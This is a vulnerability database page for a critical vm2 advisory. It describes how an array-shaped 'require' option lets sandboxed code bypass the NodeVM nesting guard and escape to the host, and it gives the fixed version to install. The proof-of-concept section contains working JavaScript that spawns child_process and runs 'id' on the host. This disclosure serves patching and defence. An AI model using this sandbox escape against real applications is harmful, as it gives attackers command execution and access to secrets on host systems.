VDB
Sign up
CRITICAL9.0

GHSA-8hr7-r645-pc6w

vm2: NodeVM nesting guard accepts array-shaped require and permits host RCE

Quick fix

GHSA-8hr7-r645-pc6w — vm2: upgrade to the fixed version with the command below.

npm install vm2@3.11.7

Details

## Summary

The `NodeVM` constructor computes `hasRealRequireConfig` using `typeof requireOpts === 'object' && requireOpts !== null`, so `require: []` bypasses the guard intended to reject `nesting` without an explicit require configuration. `makeResolverFromLegacyOptions()` then destructures the array to undefined option fields and returns a resolver containing only `NESTING_OVERRIDE.vm2`. Any attacker whose JavaScript is executed by a downstream `NodeVM` configured with `{nesting: true, require: []}` can load the host `vm2` module, create an inner `NodeVM` with an attacker-selected builtin allowlist, and execute commands as the host process. No equivalent plain-object validation exists in `makeResolverFromLegacyOptions()`.

Array is converted into the vm2-only resolver: https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/resolver-compat.js#L205-L226

Nesting loader returns the host VM constructors: https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L640-L645

## Proof of Concept

Preconditions:

- The host creates `NodeVM` with truthy `nesting` and array-shaped `require`. - The attacker can supply JavaScript executed by that `NodeVM`.

```javascript 'use strict';

const {NodeVM} = require('./index.js');

const outer = new NodeVM({nesting: true, require: []}); const result = outer.run(` const {NodeVM} = require('vm2'); const inner = new NodeVM({require: {builtin: ['child_process']}}); module.exports = inner.run( "module.exports = require('child_process').execSync('id').toString()" ); `);

console.log(result); ```

```text uid=1000(lohar) gid=1000(lohar) groups=1000(lohar) ```

The `hasRealRequireConfig` guard fails open because it returns `true` for arrays, although arrays are not `VMRequire` configuration objects. `makeResolverFromLegacyOptions()` applies object destructuring to the array, obtains undefined `builtin` and `external` values, merges `NESTING_OVERRIDE`, and returns before any external-module control is relevant. Outer builtin restrictions do not constrain the attacker-created inner `NodeVM`, whose `require` configuration is selected inside the sandbox.

Failed shape check: https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L304-L307

## Impact

An attacker can execute arbitrary commands with the host Node.js process privileges, including reading secrets, modifying files, and accessing the host network. GHSA-m4wx-m65x-ghrr covers the same nesting primitive but does not cover array-shaped `require` values and incorrectly identifies 3.11.4 as patched.

> Exploitation is limited to downstream applications that enable `nesting` and pass the malformed array configuration.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/vm2
Introduced in: 3.11.4Fixed in: 3.11.7
Fixnpm install vm2@3.11.7

References